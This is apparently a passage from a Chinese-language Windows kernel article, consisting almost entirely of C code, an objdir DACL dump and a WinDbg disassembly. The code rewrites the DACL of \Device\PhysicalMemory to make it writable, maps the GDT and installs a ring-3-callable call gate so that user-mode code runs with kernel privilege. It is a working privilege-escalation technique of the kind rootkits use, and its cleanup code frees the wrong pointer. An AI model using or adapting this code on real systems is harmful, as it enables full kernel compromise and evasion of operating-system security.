typedef struct
    { 
        unsigned short  offset_0_15;
        unsigned short  selector;

        unsigned char    param_count : 4;
        unsigned char    some_bits   : 4;

        unsigned char    type        : 4;
        unsigned char    app_system  : 1;
        unsigned char    dpl         : 2;
        unsigned char    present     : 1;
    
        unsigned short  offset_16_31;
     } CALLGATE_DESCRIPTOR;

    C:\NTDDK\bin>objdir /D \Device

    PhysicalMemory                   
        Section
        DACL - 
           Ace[ 0] - Grant - 0xf001f - NT AUTHORITY\SYSTEM
                             Inherit: 
                             Access: 0x001F  and  ( D RCtl WOwn WDacl )

           Ace[ 1] - Grant - 0x2000d - BUILTIN\Administrators
                             Inherit: 
                             Access: 0x000D  and  ( RCtl )

   VOID SetPhyscialMemorySectionCanBeWrited(HANDLE hSection)
    { 

       PACL pDacl=NULL;
       PACL pNewDacl=NULL;
       PSECURITY_DESCRIPTOR pSD=NULL;
       DWORD dwRes;
       EXPLICIT_ACCESS ea;

       if(dwRes=GetSecurityInfo(hSection,SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION,
                  NULL,NULL,&pDacl,NULL,&pSD)!=ERROR_SUCCESS)
          { 
             printf( "GetSecurityInfo Error %u\n", dwRes );
             goto CleanUp;
           }

       ZeroMemory(&ea, sizeof(EXPLICIT_ACCESS));
       ea.grfAccessPermissions = SECTION_MAP_WRITE;
       ea.grfAccessMode = GRANT_ACCESS;
       ea.grfInheritance= NO_INHERITANCE;
       ea.Trustee.TrusteeForm = TRUSTEE_IS_NAME;
       ea.Trustee.TrusteeType = TRUSTEE_IS_USER;
       ea.Trustee.ptstrName = "CURRENT_USER";


       if(dwRes=SetEntriesInAcl(1,&ea,pDacl,&pNewDacl)!=ERROR_SUCCESS)
          { 
             printf( "SetEntriesInAcl %u\n", dwRes );
             goto CleanUp;
           }

       if(dwRes=SetSecurityInfo(hSection,SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION,NULL,NULL,pNewDacl,NULL)!=ERROR_SUCCESS)
          { 
             printf("SetSecurityInfo %u\n",dwRes);
             goto CleanUp;
           }

    CleanUp:

       if(pSD)
          LocalFree(pSD);
       if(pNewDacl)
          LocalFree(pSD);
     }

    这段代码对给定HANDLE的对象增加了如下的ACE: 

    PhysicalMemory                   
        Section
        DACL - 
           Ace[ 0] - Grant - 0x2 - WEBCRAZY\Administrator
                             Inherit: 
                             Access: 0x0002    //SECTION_MAP_WRITE

    kd> u nt!MmGetPhysicalAddress l 30
    ntoskrnl!MmGetPhysicalAddress:
    801374e0 56               push    esi
    801374e1 8b742408         mov     esi,[esp+0x8]
    801374e5 33d2             xor     edx,edx
    801374e7 81fe00000080     cmp     esi,0x80000000
    801374ed 722c             jb    ntoskrnl!MmGetPhysicalAddress+0x2b (8013751b)
    801374ef 81fe000000a0     cmp     esi,0xa0000000
    801374f5 7324             jnb   ntoskrnl!MmGetPhysicalAddress+0x2b (8013751b)
    801374f7 39153ce71780     cmp     [ntoskrnl!MmKseg2Frame (8017e73c)],edx
    801374fd 741c             jz    ntoskrnl!MmGetPhysicalAddress+0x2b (8013751b)
    801374ff 8bc6             mov     eax,esi
    80137501 c1e80c           shr     eax,0xc
    80137504 25ffff0100       and     eax,0x1ffff
    80137509 6a0c             push    0xc
    8013750b 59               pop     ecx
    8013750c e8d3a7fcff       call    ntoskrnl!_allshl (80101ce4)
    80137511 81e6ff0f0000     and     esi,0xfff
    80137517 03c6             add     eax,esi
    80137519 eb17             jmp   ntoskrnl!MmGetPhysicalAddress+0x57 (80137532)
    8013751b 8bc6             mov     eax,esi
    8013751d c1e80a           shr     eax,0xa
    80137520 25fcff3f00       and     eax,0x3ffffc
    80137525 2d00000040       sub     eax,0x40000000
    8013752a 8b00             mov     eax,[eax]
    8013752c a801             test    al,0x1
    8013752e 7506             jnz   ntoskrnl!MmGetPhysicalAddress+0x44 (80137536)
    80137530 33c0             xor     eax,eax
    80137532 5e               pop     esi
    80137533 c20400           ret     0x4

    typedef struct gdtr { 
        short Limit;
        short BaseLow;
        short BaseHigh;
     } Gdtr_t, *PGdtr_t;

    ULONG MiniMmGetPhysicalAddress(ULONG virtualaddress)
    { 
        if(virtualaddress<0x80000000||virtualaddress>=0xA0000000)
           return 0;
        return virtualaddress&0x1FFFF000;
     }

    BOOL ExecRing0Proc(ULONG Entry,ULONG seglen)
    { 
       Gdtr_t gdt;
       __asm sgdt gdt;
     
       ULONG mapAddr=MiniMmGetPhysicalAddress(gdt.BaseHigh<<16U|gdt.BaseLow);
       if(!mapAddr) return 0;

       HANDLE   hSection=NULL;
       NTSTATUS status;
       OBJECT_ATTRIBUTES        objectAttributes;
       UNICODE_STRING objName;
       CALLGATE_DESCRIPTOR *cg;

       status = STATUS_SUCCESS;
   
       RtlInitUnicodeString(&objName,L"\\Device\\PhysicalMemory");

       InitializeObjectAttributes(&objectAttributes,
                                  &objName,
                                  OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE,
                                  NULL,
                                 (PSECURITY_DESCRIPTOR) NULL);

       status = ZwOpenSection(&hSection,SECTION_MAP_READ|SECTION_MAP_WRITE,&objectAttributes);

       if(status == STATUS_ACCESS_DENIED){ 
          status = ZwOpenSection(&hSection,READ_CONTROL|WRITE_DAC,&objectAttributes);
          SetPhyscialMemorySectionCanBeWrited(hSection);
          ZwClose(hSection);
          status =ZwOpenSection(&hSection,SECTION_MAP_WRITE|SECTION_MAP_WRITE,&objectAttributes);
        }

       if(status != STATUS_SUCCESS)
         { 
            printf("Error Open PhysicalMemory Section Object,Status:%08X\n",status);
            return 0;
          }
      
       PVOID BaseAddress;

       BaseAddress=MapViewOfFile(hSection,
                     FILE_MAP_READ|FILE_MAP_WRITE,
                     0,
                     mapAddr,    //low part
                     (gdt.Limit+1));

       if(!BaseAddress)
          { 
             printf("Error MapViewOfFile:");
             PrintWin32Error(GetLastError());
             return 0;
           }

       BOOL setcg=FALSE;

       for(cg=(CALLGATE_DESCRIPTOR *)((ULONG)BaseAddress+(gdt.Limit&0xFFF8));(ULONG)cg>(ULONG)BaseAddress;cg--)
           if(cg->type == 0){ 
             cg->offset_0_15 = LOWORD(Entry);
             cg->selector = 8;
             cg->param_count = 0;
             cg->some_bits = 0;
             cg->type = 0xC;          // 386 call gate
             cg->app_system = 0;      // A system descriptor
             cg->dpl = 3;             // Ring 3 code can call
             cg->present = 1;
             cg->offset_16_31 = HIWORD(Entry);
             setcg=TRUE;
             break;
           }

       if(!setcg){ 
            ZwClose(hSection);
            return 0;
        }

       short farcall[3];

       farcall[2]=((short)((ULONG)cg-(ULONG)BaseAddress))|3;  //Ring 3 callgate;

       if(!VirtualLock((PVOID)Entry,seglen))
          { 
             printf("Error VirtualLock:");
             PrintWin32Error(GetLastError());
             return 0;
           }

       SetThreadPriority(GetCurrentThread(),THREAD_PRIORITY_TIME_CRITICAL);

       Sleep(0);

       _asm call fword ptr [farcall]

       SetThreadPriority(GetCurrentThread(),THREAD_PRIORITY_NORMAL);

       VirtualUnlock((PVOID)Entry,seglen);

       //Clear callgate
       *(ULONG *)cg=0;
       *((ULONG *)cg+1)=0;

       ZwClose(hSection);
       return TRUE;

     }